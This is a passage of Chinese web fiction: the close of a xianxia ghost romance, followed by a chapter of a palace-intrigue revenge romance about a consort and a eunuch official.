为首的道士得意洋洋,“小友,现在的局势,你认错,我看在你师门众人的面子上,还会宽宥你!” 虞岁满脸肃然,“你做梦!” 老道士给了凌问天一个眼神,然后从袍袖里拿出一个不知道是什么材质的圆环,他将圆环扔到半空,口中念咒,那圆环像活了一样,将虞岁的朱笔吸了进去…… 接着,又吸走了金甲力士…… 凌问天趁虞岁分神之际,取出一把刻满黑色符文和金色咒经的匕首,直直的刺向虞岁…… 丁年心头大骇,就是这个!灼魂剑!被刺中就是生如死灰、死无残魄!再也别想轮回转世,只能人不人鬼不鬼的游荡于世! 念及此,丁年用尽全力冲破结界,挡在了虞岁面前! 灼魂剑穿透了丁年的身体,仿佛要将丁年撕碎。 虞岁感觉喉咙一股腥甜涌出,一滴血泪从眼角滑落…… 她颤抖着双手抱住丁年,将灼魂剑从丁年身体里拔出,妥帖的把丁年安置好,咬破手指,结印,画出一道定神符,护住丁年逐渐消散的残魄。 做完这一切,虞岁的嘴角溢出鲜血,杀气腾腾的低吼:“我以朱门执法堂第三代传人的身份起誓,愿以一身修为,换凌霄山一众妖道,有来无回!执法剑,可愿助我?!” 半空中传来一声轰鸣,紧接着,朱笔从圆环中冲出,化成一把通体赤红的长剑,丝丝缕缕的金光缠绕其上,大道执法,就此而成! 虞岁手握执法剑,厉声念诀:“天地无极,乾坤借法,万法归宗!邪祟覆灭!请鸿钧道祖正法!斩灭奸佞!急急如律令!现!” 最后一瞬间,丁年催化体内的鬼丹,化作一道红光与执法剑合二为一。 虞岁,这是我能给你的,以身正道。 我想用我的方式为你加码,这是,我的心意,无关信任,无关你的能力。 夜空中迅疾而至闪烁出无数道冰蓝色的闪电,伴随着卷天动地的惊雷劈向凌霄山的一干乌合之众! 一炷香后,天地归于平静,唯余星河璀璨。 虞岁握着执法剑,哭的泣不成声。 丁年撑着最后一丝残识半跪在虞岁面前:“岁岁,我陪你,看过的这片星河,但我不想你困在这方永夜之下。 你看,这个石榴,是不是很好看?” 虞岁看着他最后留下的石榴,兀自出神。 后来的后来,朱笔真的功德圆满,飞升之前问过虞岁要不要跟他走,虞岁只给他一句,我道心乱了。 作为老伙计,朱笔也是给了虞岁一番点化,“你也该练练渡化了,榴花寄情,阴阳念。” 故事的开始,是她一个人的卷卷道文; 故事的结局,是她为他写就的卷卷祷经,轴轴悼文。 故事的后来,丁年附身在石榴树上,因为每年都会结石榴,而虞岁,最喜欢吃石榴。 人鬼殊途,唯愿,榴下相思。 虞岁在等一人归,等他说: 年年有虞,生生不息。 6. 丁年,我要这天下,还有你 “栖我枝桠,做我渡鸦,亮你獠牙。” 虞岁看着信笺上笔走龙蛇的字迹,玩味的笑了。 是渡鸦,不是寒鸦,想来这是成了,她真是无比期待之后的日子呢。 丁年呐,做你渡鸦,亮我獠牙。 守我寒夏,伴你征伐,无畏风沙 。 说起来,虞岁很该谢谢丁年,一年前,他的出现,对虞岁来说就像是瞌睡时有人送来的枕头。 当年,华京城的虞府一门,合该有双姝,只不过虞岁一出生,便被算命先生断言命带情煞,称其为妖孽祸国之相,会影响虞郎中的仕途。 所谓情煞,即是所有同虞岁沾染因果情缘的人都会不得善终。 情深不寿,六亲缘浅。 再加上,母亲也因产后血崩撒手人寰,这就更加做实了虞岁不详之名。 是以,刚出生的虞岁便被狠心送进了清冷陈旧的家庙,打定主意让她自生自灭。 从此后,虞府只有一个女儿,虞岁是连族谱都不配在册的死婴。 所幸,母亲的陪嫁嬷嬷将她好生养大。 懂事后,虞岁每每想起这身世都觉得荒谬,想来豢养个猫儿狗儿也不至于丢弃的时候、连眉头都不皱一下。 荒芜又年久失修的家庙中,虞岁孤独的走过一年又一年,一颗心,从稚嫩天真到古井无波,只用了几个春夏秋冬。 那时,唯有同胞姐姐时常瞒着家人前来探望,姐姐带来的温暖,是虞岁苍凉心境中的唯一慰藉,是她自小到大破败灰暗世界里唯一的光。 她们在风里追逐嬉戏,在阳光下倾诉心事,那些短暂却闪亮的相聚时刻,每一帧,都被虞岁小心翼翼的收好。 前路漫漫,走疼了,就拿出来看看。 厄运的嘴脸在姐姐被虞郎中送进宫那天就已经初现狰狞,上苍终是不肯厚待虞岁…… 那一日,姐姐笑意盈盈的拉着她的手,温柔又坚定的说:“此番进宫也算是好事,待姐姐站稳脚跟,日后我家岁岁也有人撑腰了,便是想要天上的月亮,姐姐也要想办法给岁岁摘下来……来日,姐姐一定要给岁岁选一个顶顶好的儿郎,让你平安喜乐、恣意无忧的过完这一生……嬷嬷说过,娘亲临终前给你取这个名字就是希望你能百岁无忧。” 虞岁有些哽咽,深宫寂寂,哪个上位者是好相与的。 她不想要天上的月亮,她只想要属于她的月亮,姐姐,就是她的月亮。 对于她们姐妹来说,没有消息就是最好的消息。 直到一年前的雪夜,虞岁正在书案前抄写佛经,这是她的习惯,每个夜深人静的时候,虞岁都会洗净铅华,素手焚香,虔诚抄经,祈愿佛祖保佑姐姐平安顺遂。 屋外一阵寒鸦声,夜风吹开了窗,虞岁的心突然漏了一拍,笔下一顿,一滴墨洇透了经文…… 虞岁心神不宁的起身去关窗,发现窗台上有一个锦盒,她的眼皮突突的跳起来…… 虞岁拿着锦盒重新回到书案前,才一打开,她的手就不受控制的颤抖起来……这是……她学会女红之后为姐姐一针一线绣的手帕…… 眼下这方帕子上,是一行血字,岁岁安好,姐姐会在天上陪着你,岁岁无忧。 模糊的视线里,虞岁仿佛看到了姐姐言笑晏晏的样子……她有一个全天下最好的姐姐,从此之后再不会有的姐姐。 虞岁发了狂一样冲去郎中府,那晚可真冷啊,连同府门上的铜环都冰的她心尖发颤…… 她那高高在上的生身父亲揽着娇妻幼女,身后五六个丫头婆子撑着伞生怕落雪湿了他们昂贵的衣袍,如同看秽物一样看着狼狈的她,“滚!一个两个帮不上本官还要出来现眼!” “我姐姐呢?”,虞岁的声音哑的不成样子。 “城南乱葬岗,那个废物,也算死得其所!哼!滚吧,不要再出现在我面前!” 风雪不过七分寒,人心叵测万剑穿。 虞岁跌跌撞撞的跑去乱葬岗,扒开被野狗啃食的面目全非的尸体,终于见到了她的月亮…… 她好想问一问满天神佛,这是什么世道!凭什么啊? 但她张了张嘴,发现一点声音都发不出来。 她轻轻的擦去落在姐姐脸上的薄雪,却发现,雪可真大,擦去一层又落一层…… 就像她的泪,怎么擦,都擦不尽…… 她想背起姐姐找个干净的地方好好安葬……呵,风雪不停,她背不动,怎么办啊…… 最后,虞岁握紧姐姐的手,慢慢靠进她怀里,就这样吧,就让自己随着姐姐,葬在这场风雪里吧…… 一阵马蹄声由远及近传来,两辆奢华的马车停在她身旁。 一道清隽的声音传进她耳朵里:“等你死了,你和你姐姐一定会在野狗肚子里重逢。” 虞岁睁开眼,仰头看向说话的男人,她和他隔着雕花的窗棂,她看不清他的脸,只感觉他的眼睛像星子一样。 丁年审视的视线落在虞岁身上,像在打量一个物件价值几何。 见虞岁不说话,只是无波无澜、无忧无惧的看着他,他有些恍惚,这种眼神,倒叫他想起曾经的自己,哀莫大于心死,大抵如是。 “你姐姐,我会帮你安葬,选最好的风水之地,用最上乘的棺椁。” “条件呢?” “我要你这个人,和你的心”,丁年抬手将窗户撑开一道缝隙,目光灼灼的看向虞岁。 “好”,虞岁的声音嘶哑。 丁年轻轻挑眉,来了些兴致,“你不问为什么?” 虞岁摇摇头,“君子一言?” “驷马难追”,说完,丁年放下车窗,淡淡唤了声,“鬼七”…… 暗处立刻出现了一个黑衣男子,毫不费力的抱起虞岁的姐姐放到了后面的马车上,虞岁也不忸怩,跟着一起上了后面的马车上。 丁年轻车熟路的把虞岁和姐姐送回了破落的家庙,“今夜,为她守灵一晚,明日来接你为她下葬。” “多谢”,虞岁不禁感叹这人怕是有洞悉人心的本领。 丁年再没说什么,虞岁望着马车渐行渐远,心底有个念头生根破土,就凭他今晚给的承诺,他要什么,她都给。 她的直觉告诉她,他绝非登徒浪子,他是有什么事情要用她。 所以,有利用价值,就好,就可缓缓图之。 只要他要,只要她有。 虞岁找出套姐姐进宫前为她做的新衣衫,轻手轻脚褪去姐姐的脏衣为她擦拭身体……然后她就看到姐姐身上触目惊心的伤痕和污迹…… 虞岁狠狠给了自己一巴掌,“不许哭!”,她可真恨啊!除了哭什么都做不了! 她拿着这些日子为姐姐抄写的佛经,跪在姐姐面前,一股脑的烧掉,连同姐姐最后留给她的血书,一起烧掉。 姐姐,佛不肯渡你,没关系,我来渡你。 姐姐,你自去天上,我就不去了,不要再惦念我了,以后,我会去地狱赎罪。 翌日,待姐姐下葬之后,她在华京城最大的销金窟再次见到了丁年,隔着珠帘,他覆手而立,说不出的矜贵。 丁年直接切入主题,“三日后,会有一个男子经过你那座破家庙,会勾引人么?” 虞岁轻轻掠了他一眼,“凭我这张脸,还要怎么勾引?” 丁年微怔,随即弯了弯唇角,“你倒是敢说。” 虞岁换了个舒服的姿势坐下,“谬赞,美而自知罢了。” 丁年不语,却也不得不承认她的话,即便是昨夜那般狼狈的情况下,她也是美的惊心动魄。 是真的惊心动魄,饶是他见过形形色色的美人,也不免为她分神。 所以他选了她,她的脸就是她的资本。 “你有几成把握?” “那男子什么身份?” “天子。” 虞岁仅仅讶异了一瞬,笑了,寻常女子碰到这种事情可能会有很多问题,虞岁只觉得,好的很,事情变得有趣起来了。 所以她笃定的回答:“十成。” 是十成,必须的十成,不止是帮他,也是为了姐姐,不容有失,这是虞岁的机会。 “哦?那么,静候佳音。” 虞岁想了想,问了一句:“还未请教阁下尊姓大名?” “一个平平无奇的饲鸦人罢了,别急,你若做的好,你我,很快便会见面。” “饲鸦人?” “是做有脑子的渡鸦,还是只能听差的寒鸦,端看你的表现。” “如此,就烦请阁下期待一下吧。” 虞岁说完,福了福身,转身就走。 三日后的清晨,一个风尘仆仆像是迷路了的男子出现在家庙门口……他是循着琴音走到这的…… 映入眼帘的就是一身素衣的虞岁,十指轻捻拨弄琴弦,倾泻而出的琴声透着撩拨人心的力量。 从身姿和气韵已经可窥美人风致,偏偏这美人还戴着面纱,只露出一双美目,更是勾的人心痒难耐。 一寸秋波,千斛明珠觉未多。 余光看到来人如痴如醉的状态,虞岁几不可察的勾了勾唇……她有些慌乱的停下手,含羞带嗔的看了眼那男子…… 怎么形容这一眼呢?周允年只觉得半边身子都是酥酥软软的。 她眉眼澄澈自成风流,是风流又不下流,有风情但不色情。 “姑娘,小生路过此地,有些口渴,可否向姑娘讨盏茶水?”,周允年见虞岁欲走,慌忙躬身行礼,急急出声。 虞岁犹豫了一会,转身回屋倒了盏茶,走到门口放到曲水流觞槽里,也不看周允年,衣角翩翩的回到了内室。 她这几步路走的,看在周允年眼里颇有些步步生莲的意味。 虞岁侧身透过窗户缝隙看向外面呆呆的端着茶盏的人,脸上浮起一抹冷笑,狗男人,生的一脸蠢相。 半晌,那男人扬声说:“多谢姑娘,在下周景翊,不知姑娘怎么称呼?”,景翊,是周允年的表字。 虞岁清清冷冷的回他:“公子慎言,你我萍水相逢,怎可冒昧打扰?” 外面的声音瞬间接话,“姑娘说的是,是景翊唐突了,姑娘可否收留景翊几日?待家人寻来,必有重筹!” 虞岁笑了,可否收留?那真是太可了……但说出的话却是另一套:“这,恐有不妥……” 周允年连声保证:“姑娘尽可放心,我就在外门口的耳房里借宿几日,绝不越雷池半步!求姑娘可怜!” 虞岁轻哼,不越雷池?不越雷池怎么行呢…… 短暂的沉默,时间控制的恰到好处,就在周允年急不可耐的时候,虞岁适时开口:“那……公子要言行如一才是。” 然后,虞岁隔着窗户都能听出周允年声音里的欣喜若狂:“姑娘高义,翊定不负姑娘信任!” 第二天,虞岁在内室抚琴,周允年摘了片树叶与她合音……第三天,虞岁在门口看到了周允年的信,通篇写了一些见之梦之吾寐思服的酸话…… 第四天,虞岁估摸着火候差不多了,提着竹篮走出院门,确定了周允年跟在身后,她走到湖边……她准备冰钓…… 冰钓就会掉湖里啊,掉湖里肯定会被拉住啊,拉住的同时就把周允年推进去啊,周允年一定要得风寒啊,风寒她就要照顾啊……一来二去的……呵呵…… 果不其然,一切按照她的计算,她不小心的摔倒……脸上的面纱恰如其份的、以一个绝美的角度落下…… 真真是花样妖娆柳样柔,眼波流不转,满眶殊色掩不住。 就见周允年满目惊艳之色,嘴里呢喃着:“若非群玉山头见,会向瑶台月下逢。” 虞岁面上惊慌失措,心头一片冷意森然,在周允年拉住她的同时,以一种巧妙的姿势顺势把他推进了湖里…… 那边鬼七躲在暗处看到这一幕,忍不住请示丁年:“主子,咱们……就这样看着么?” 丁年目光悠然的望着虞岁,果然有趣。听他这么问,淡淡的说:“不然呢?她特意选了这么浅的冰湖,还能淹死人不成?” 当然淹不死,淹死了虞岁还怎么按部就班的走戏。 所以她端着风寒药照顾周允年的时候,脸上挂着令人心疼的歉疚,“景……景翊哥哥,你不会怪我吧?” 周允年激动的不行,“你……你叫我什么?” 虞岁有些羞怯的低下头,露出一截惹人怜爱的脖颈。 美人就是美人,尤其是知道自己怎样最美的蛇蝎美人,无人能遭得住诱惑。 能拉佛子下神坛,能惹圣僧心不安。 “你救了我,叫景翊哥哥不会不妥吧?” “妥!怎么会不妥?!那我怎么称呼你?” 虞岁一边吹了吹风寒药递过去,一边轻柔的说:“我叫虞岁,你可以叫我……岁岁。” 周允年就着她递过来的药喝了一口,满眼爱怜的看着虞岁,暧昧的气氛萦绕在二人之间,连映在窗上的影子都显得缱绻不已。 丁年站在院外遥遥的看着窗上的剪影,微不可见的攥了下衣袖……真是意料之中呢…… “鬼七…” “主子!” “通知鬼卫收网,明日就接咱们这位陛下回宫。” 鬼七犹豫着开口:“这……这才几日,恐怕陛下未必会为虞姑娘神魂颠倒到不管不顾的接回宫啊!” 丁年盯着窗户上的剪影,也不知道周允年说了什么,虞岁掩唇轻笑…… 丁年撇开视线,“不要小看她,况且,若她做不到,拖住陛下这几日,也尽够了。” 还有半句丁年没有说出口,若虞岁真的做不到,他也会带她走…… 隔天中午,虞岁推开门,看着满院子的人,心说你们可终于来了……但是她脸上的懵懂表现的十分自然…… “景翊哥哥……这些人是?” 周允年走到虞岁面前,踌躇着说:“岁岁,家里人来接我了,你……愿不愿意跟我走?” 不等虞岁接话,丁年率先开口,声音里有些提醒的意味:“陛下,这……恐有不妥……” 虞岁轻飘飘的看向丁年,她直觉这就是那日的饲鸦人,这是她第一次见到他的真容,这个男人,啧,公子只应见画,此中我独知津。写到水穷天杪,定非尘土间人。 姐姐啊,我要造孽了。 她有些惶恐的开口:“陛下?你是?天子?你骗我?!” 周允年连忙解释:“岁岁,事情不是你想的那样,我……” 不等他再说什么,虞岁转身回房,重重的关上房门…… 丁年心下轻叹,她可真会啊。 周允年拍了拍房门,“岁岁,朕是真的心悦于你,跟朕回宫,让朕好好照顾你,好么?” 见虞岁没有任何反应,周允年转身给了丁年一巴掌,“多嘴!” 丁年低眉顺眼、从善如流的跪下,“陛下息怒。” 虞岁在屋里听着,心头一紧,果然是伴君如伴虎,姐姐当时,也承受过这些么? 这种时候,虞岁不能出头,她得等。 周允年很满意丁年的伏顺,转回身又对着虞岁说:“岁岁,当真不打算理景翊哥哥了么?” 虞岁皱眉,慢吞吞的打开房门,眼角垂泪,扑进周允年的怀里,“景翊哥哥……” 美人在怀,周允年心下一阵妥帖熨服,他是天子,这世间哪有女人会不爱他? 他抚了抚虞岁的后背,“岁岁,跟景翊哥哥走,好不好?” 虞岁直起身,泫然若泣的看着周允年,“可是……宫里那么多女人,我怕她们欺负我……景翊哥哥……我好怕啊。” 美人一滴泪,演到你心碎。 周允年当下放言,“岁岁别怕,景翊哥哥会保护你!” 虞岁不语,只一味的落泪。 周允年见状,保护欲达到了前所未有的高度,“丁年!” “臣在。” “着礼部拟旨,册封岁岁为……贵妃。” 丁年原想着,一个妃位就算到头了,这……贵妃……当真是色令智昏。 想到这,他看了一眼虞岁,发现虞岁也在看他,嘴角噙笑,仿佛在说,你看,我做到了。 虞岁想着,算算日子,圣旨也该到了。 外面一阵嘈杂声,丁年一身黑色劲装骑着高头大马、信马由缰而来,恰似星辰耀于苍宇,行处风生,韵致万千 。 见到虞岁,丁年翻身下马,将圣旨递给宣读大监: 奉天承运,皇帝诏曰:朕身为天地祖宗,付托甚重,殚心竭虑,犹幸国富民安。虞氏女本性纯良,敬事朕躬,貌品卓著,玉洁冰清,足为仕女典范。朕特嘉奖其心志,册封为贵妃,封号姝,賜居青鸾殿。望尔今后,益加恭谨,佐理六宫,表率嫔御,以副朕恩宠,共襄皇室之盛。钦此。 虞岁接过圣旨放在一旁,问宣旨大监:“景翊哥哥呢?” 那大监吓得微微趔趄,“诶哟我的祖宗诶,人前可不能这样称呼,要称陛下。” 虞岁含笑递过去一盏茶,宣旨大监忙不迭谢过,这可是新宠,没有摸清底细之前可不能得罪,单从封号和位份来看已是荣宠盛极……虽说没有背景,但也正是没有根基,才更好巴结。 更何况,在宫里生存,有帝王的宠爱,就是最大的依仗。 而且……宣旨大监不着痕迹的打量虞岁,怎么会有女子将妖娆妩媚和天真烂漫、纯欲与风情糅合的浑然天成…… 当真是天生的尤物,难怪陛下出格至此。 心思转了转,对虞岁说:“贵妃娘娘,陛下担心您不能承受舟车劳顿之苦,特地赐了最高级别的仪仗,待您休息一晚之后,明日再入宫行册封礼。督主大人奉陛下之命会随行守护您。” 虞岁颔首,“有劳大监了。” “娘娘抬举老奴了,老奴告退”,宣旨大监躬身退下。 丁年听到封号的时候思绪有些飘远,想起周允年对虞岁的形容:“姝貌微含笑,蝉纱半露春”,美人薄纱半掩,端的是惑人心弦,封号便为姝吧。” 丁年默默想着,确实,惑人心弦。 虞岁静静的看着丁年,啧,在她面前竟然能走神?丁年是不是男人啊?他心里在想着谁啊? 丁年回过神再看虞岁,就发现她正意味深长的看着自已,看这架势,也不知道看了多久,“怎么了?” 虞岁警惕的看看四下,确定没有人,当下这样想着,也这样问了,“我在想,你是不是男人啊?在我面前竟然能分神?” 丁年愣了一瞬,轻声开口:“我不是。我是世人最恨的奸宦。” 虞岁心说,不是?哦,更好了。这就意味着,他和她能纠缠在一起了。 姐姐啊,能有机会为你报仇,已是意外之喜,有了丁年,这条路就不会那么无聊了。 “那我呢?世人怎么评价我?” 丁年也是没有想过她会是这个反应,“娘娘这样高调的入宫,前朝后宫掀起怎么的轩然大波想来以您的聪慧已是可以想见。红颜祸水,并不算夸大其词。” 虞岁突然笑了,看在丁年眼里,就像是沉沉夜空里骤然绽放的璀璨烟花,就听她说: “我的督主大人,世人称您为奸宦,而我是言官口诛笔伐的祸妃,您瞧,我们真是天打雷劈的一对呢。” 丁年轻飘飘的看她一眼,“贵妃娘娘,还望自重。” 虞岁掩唇打了个哈欠,起身回房,边走边说:“督主大人,来日方长”。 心下腹诽,呵,饲鸦人?渡鸦?丁年,我就喜欢你不理我的样子。 天子有多宠爱这位权柄在握的督主大人呢?单看他的名字就知道了,丁年,能跟皇帝同字,世间仅他有此殊荣。 以后她还要多多仰仗她的督主大人呢。 月色西沉,丁年站在院门外,望着虞岁的窗口发呆,明日,她就是荣宠万千风光无限的贵妃娘娘了,这是他掌心之上,最有力度的一只渡鸦。 没错,一颗棋子而已,仅此而已,仅此而已。 蓬山此去无多路,青鸟殷勤为探看,青鸾殿的隐喻明晃晃的是在告诉后宫众人,虞岁,就是皇帝心尖尖上的女人。 只不过,太容易得手的东西没有人会珍惜,虞岁和周允年的相遇,听上去美好浪漫,但是艳遇和所有物的区别就在于: 艳遇最好要梦幻,最好是欲罢不能; 而所有物要独占,最撩人在于反差。 虞岁明白,男人都是一个德性,喜欢拉神女堕欲池浮沉、醉生梦死;又愿意推欲女上岸、洗尽铅华。 他会希望与你的相遇是天雷勾动地火,却又怕你跟谁都一样行为不检。 所以虞岁进宫几日了,哪怕是行了册封礼,也是循规蹈矩的,仿佛读不懂周允年的明示暗示和眼底的深深渴求。 她在等一个契机,一个破局的开端…… 一个月华如洗的夜晚,丁年端着一个精致的酒壶来到青鸾殿,“贵妃娘娘,陛下听闻您近日忧思多梦,特遣臣来为您送安神琼浆。” 虞岁看着他斟满一杯递过来,灯花爆了一声,跳跃的烛火照着他的手,手指修长,骨节分明,看上去苍劲有力…… “你确定要我喝?”,虞岁看了他一眼,接过,轻嗅,眼带笑意的问他。 照顾她的嬷嬷祖上行医,颇识药理,她耳濡目染自然略懂皮毛,这酒里有什么,她可是清楚的很。 周允年急得很,虞岁能理解,只是这丁年又是什么心思? 丁年恭顺的回话:“这是陛下的意思。” “我问的是你的意思。” “陛下的意思最大。” 虞岁没来由的就火了,她顺手把酒泼到丁年的脸…… 丁年没有躲,就势闭眼,再睁眼,徐徐滑落的酒水让他的脸在灯火下愈发的清隽惑人,无欲无求。 郎艳独绝,世无其二。 虞岁挥手扫落了桌上的整壶酒,清脆的巨响惊动了门口的侍女云萝。 “贵妃娘娘,息怒!”,平日里虞岁不喜人近身伺候,若不是听到声响,云萝断然不敢不听召唤入内。 这也是虞岁的厉害之处,她不用雷霆手段,也不责罚,她给人观察的机会,也给一点小小的试错成本,犯了,就卷铺盖走人,只是从她这离开的,都没有好下场,想也知道皇帝授意的人会出手。 而虞岁从始至终什么都不会做,她不会直接出手,也不会可怜任何人,毕竟,她本就不是良善之辈。 她把她的良知,良善,良心,在那个雪夜,连同那些佛经,都葬给了姐姐。 虞岁的情绪淡下来,冷静的吩咐云萝:“去请陛下,就说贵妃娘娘吃醉了酒,打破了酒壶,划伤了手。” 侍女走后,一室寂静,丁年出声打破僵局,“贵妃娘娘,若没有什么吩咐,臣这便退下了。” “丁年,那夜你说,要我这个人和这颗心,原来是这个意思,现在这个发展就是你的目的,对么?” 丁年不着痕迹的顶了下腮,“娘娘说的是。” 好!好的很! 虞岁气笑了,“你给我滚去外间!今晚本宫命你守夜!” 丁年隐在宽大袍袖下的手紧握成拳,松开,再握紧,再松开……“臣,领旨。” 虞岁看着外间丁年的身影,气的心血翻涌,她也不确定自己在气什么,或者说,她不敢去深想。 也罢,既入宫门,既然这是丁年想要的,就这样吧。 周允年来的很快,见了虞岁,心肝肉似的哄着,情到浓处,虞岁也就半推半就的应了……但最后,也没真让丁年守在外间…… 她就是要懵懂不然欲拒还迎到底,她这样一张魅惑时让人血脉喷张的脸,床第之间到了极致,只会叫男人欲罢不能。 丁年站在窗外,与虞岁一墙之隔,他看着半空中的皓月,鬼使神差的伸出手去、想抓住什么,最后发现他看不清,碰不到,握不住…… 抬眼是摇摇欲坠的皓月,耳边是娇媚婉转的低吟。 夜可真长啊。 绣床斜凭娇无那,烂嚼红茸,笑向檀郎唾。 天光微亮,一室旖旎,周允年贪婪的看着床上人,有些食髓知味的想起昨夜,虞岁的纯白美好在他身下绽放,人姝丽,粉香吹下,夜寒风细…… 他浅浅啄了啄虞岁的脸颊,轻手轻脚的起身去外间穿好衣服,嘱咐侍女不要吵醒虞岁,走到门外就看到守在门外的丁年…… 与周允年的神清气爽不同,丁年虽然神色如常,但眼下的乌青却暴露了他一夜未眠。 周允年拍了拍丁年的肩,“爱卿果然恪尽职守,朕心甚慰。” 丁年垂着眼,“臣份内之职。” “有你在,朕很放心,在这守着贵妃,有什么事随时禀报。” “是。” 其实虞岁早早都醒了,只是懒得睁眼,周允年一离开,她就起身披了个外袍,走到外殿推开门…… 她站在门内,看着站在门外的丁年,冷声开口:“如你所愿,开心么?” 丁年看着她,微风吹拂她袍大的外袍,肩头的红痕若隐若现……“娘娘,风大,进去吧。” 虞岁用只有她们两个人能听到的声音说:“作为交换,有个问题,本宫命你如实回答,你从一开始,就知道我姐姐是我姐姐,而你选了我,是因为你知道内情,而这内情对你有利,对么?” 她这话说的有点绕,但她知道丁年能听懂,果然,丁年轻轻点头。 “我姐姐,是被谁害死的?” 丁年答非所问,“贵妃娘娘很快就会知道了。” 虞岁还想再说什么,就看到正门口走进来一个大监,见了虞岁规规矩矩的行礼,然后尖锐的声音响起:“姝贵妃娘娘万安,皇后娘娘有示下,请贵妃娘娘移驾到凤仪宫。” 等虞岁收拾妥当,穿戴整齐的到达凤仪宫的时候,不由得心里轻叹,好大的阵仗,阖宫的妃子都到场了,皇后高高在上的端坐主位。 听闻皇后与皇帝是少年夫妻,也算是携手走过风风雨雨,虞岁端端正正的行了个礼,抬眸不动声色的看了皇后一样…… 也是生的国色天香,坐在那里很有几分姚黄牡丹的雍容典雅。 “大胆!竟然对皇后娘娘不敬!”,皇后身后的掌事姑姑出声呵斥虞岁。 一旁有个娇憨的女声紧随其后,“竟敢随意蔑视皇后!” 虞岁看了眼上首的皇后,皇后既没有出声训斥虞岁,也没有制止身后的掌事姑姑,甚至脸上仍然挂着端方的笑意,全然一副旁观者的姿态。 真是小儿科。 虞岁抬手,云萝立刻上前扶着她缓缓起身,她站定,斜了眼一旁出声的嫔妃…… 呵,她当是谁呢,竟还是故人,是她那个蠢爹后生的蠢货啊,当即用眼神示意身后的侍女…… 云萝会意,几步上前走到那嫔妃面前,啪的一耳光打到她脸上,力道十足,连带着她的发髻都有些松散…… 那嫔妃怒气冲天又委委屈屈的跪倒在地,“皇后娘娘您要为嫔妾做主啊!” 皇后抬手抚了抚鬓边簪的牡丹,她身后的掌事姑姑登时开口:“姝贵妃好大的威风!皇后娘娘尚且在此,您竟如此放肆!” 虞岁云淡风轻的反问:“你也知道我是贵妃啊?这是你一个小小宫女该对我说的话么?” 她算是明白丁年的话了,在座的大部分人,怕是都参与了姐姐的遭遇。 很好,事情越来越简单了。 谁也没有注意到,内室一个其貌不扬的小宫女悄悄退出去把情况通报给丁年,丁年蹙眉,叹了口气……皇帝让他守着她,所以第一时间回禀,并不算例外,嗯,不是例外。 其实怎么回禀,什么火候回禀是种学问,第一时间回禀,对丁年而言没什么价值,但他显然没有从自己的角度出发。 周允年听到丁年的禀报,没有动作,短暂的沉默之后,问了另一个问题:“近来太师可有异动?” 丁年抿了抿唇,是了,这位天子可不是看上去那样草包,“太师之子与兵部尚书昨夜在钟翠阁把酒言欢。” 周允年轻轻扣了扣桌案,“着人去凤仪宫盯着,火候差不多再报。” 这句火候差不多就很灵性了,怎样算是差不多呢?是等皇后敲打够了?还是等虞岁受到实质性伤害呢? 皇后像是看够了这场戏码,淡淡出声定下结局:“虞美人禁足三日,来人,将姝贵妃的侍女拉下去杖责三十大板”,看着虞岁隐现怒意的脸,又说了一句,“姝贵妃去院里跪足一个时辰,好好想想该对本宫什么样的态度。” 你看,这就是上位者的姿态了,皇后甚至装都懒得装,她父亲是权柄在握的太师,连皇帝都要受其掣肘给三分薄面。 宫斗,是下位者需要动的心思,而上位者,有不装的资本。 无关乎手段是否拙劣,简单粗暴行之有效就够了。 冬日里,虞岁跪在院中的青玉石板上,听着云萝受刑时的闷哼,藏在袍袖里的手握成拳,指甲深深嵌进掌心…… 皇后就是在用这么显而易见却又不容反抗的方式让她看清局面,她虞岁不过是皇帝一时兴起随意逗弄的消遣。 这么久了,皇帝来了么? 贵妃又如何?碾死她还是如同碾死一只蚂蚁一样。 但虞岁不服,她偏要做那撼树的蜉蚴。 她笔直端正的跪足了一个时辰,着人抬了云萝回青鸾殿,而她自己,一步一步缓慢又艰难的走回去…… 一路上,侍女大监见到她纷纷恭敬行礼。 虞岁在一声声姝贵妃万安中,清醒的意识到,权势,真好,迷人又危险。 丁年跟在虞岁身后一路,看她身形单薄步履蹒跚,走上去为她披了一件斗篷,温声开口:“娘娘,路不平,臣撑着您,走的稳些。” 虞岁站定,看着肩上的披风,有暖流从肩上递送到心上,她看了眼丁年,见他微微躬身,手臂轻抬…… 虞岁不经意的蜷起手指勾了下丁年的掌心,然后将手搭在他的手臂上…… 丁年的耳尖在她看不到的地方红了红,她的手指勾了到的不止是他的掌心,一并为之轻颤的,还有他的心。 “丁年,你会一直这样撑着我么?” 丁年不语,半晌,轻轻又重重的点了下头。 他扶着她走,她搭着他,如果这样一直走下去,路长一点也没关系。 快到青鸾殿的时候,丁年出声提醒:“娘娘眼下不宜与皇后对上,您,没有胜算。” 虞岁浅笑,“丁年,以你男人的角度来看,你觉得皇帝是想看到一个权衡利弊进退有度的我,还是一个满心满眼依附于他的我?” 丁年刚想说我不是,可接触到虞岁的目光,他就把这句话咽下去了,“陛下,既希望您进退得宜,又需要您全心依附。” “所以啊,我不能权衡利弊,皇后今日要打我的脸,我认了,她是皇后,可旁的人,不行呢。” 丁年来不及捕捉虞岁话里的深意,就听虞岁笑语嫣然的说:“丁年,我们和好吧。” 丁年垂眸,掩饰住眼底一闪而过的笑意,他听见自己的声音透着连自己都心惊的欣喜和郑重:“臣与娘娘不曾有嫌隙,也不会有。” “去请陛下,就说你们娘娘寻死了,来的慢了就只能给她收尸了”,虞岁站在青鸾殿门口推了下丁年的手臂,收回手。 丁年低头有几分失神的看着空空的手臂,那上面仿佛还有虞岁手掌的余温,“娘娘,想好了?” “我若是一点动作都没有,日后在这宫里只怕是寸步难行,人人都能踩我一脚,眼下趁着皇帝对我的新鲜感尚在,自是要把这点宠爱用到极致,一哭二闹三上吊只有可人儿才适用,不然等我人老珠黄了,这套伎俩谁要看?” 丁年默默看了眼虞岁的脸,她怎么可能人老珠黄呢? 等到周允年急匆匆的赶到时,就见虞岁面白如纸的躺在床上,脖子上红色的勒痕触目惊心,那双眼波横转的美目紧闭,再无神采…… 丁年心下轻叹,她对自己可真舍得下手。 年少时他曾听培养他的大监说过,不要得罪女人,尤其是对自己下手狠的女人,她们没有心,必定所向披靡。 御医看过,开了帖安神的方子,又喂了碗参汤下去,虞岁才悠悠转醒,也不说话,只无声的流泪…… 周允年面露不忍,“抱歉岁岁,政务缠身,景翊哥哥来晚了……” 虞岁不接话,周允年再接再厉,“朕同皇后说了,你的身子弱,日后就不必再去请安了,好生将息着。” 虞岁叹了口气,“景翊哥哥,皇后娘娘是后宫表率,做什么事自然最是公正,都是小人挑唆……景翊哥哥,岁岁好歹是你珍之重之的贵妃,士可杀不可辱,我好难过……” 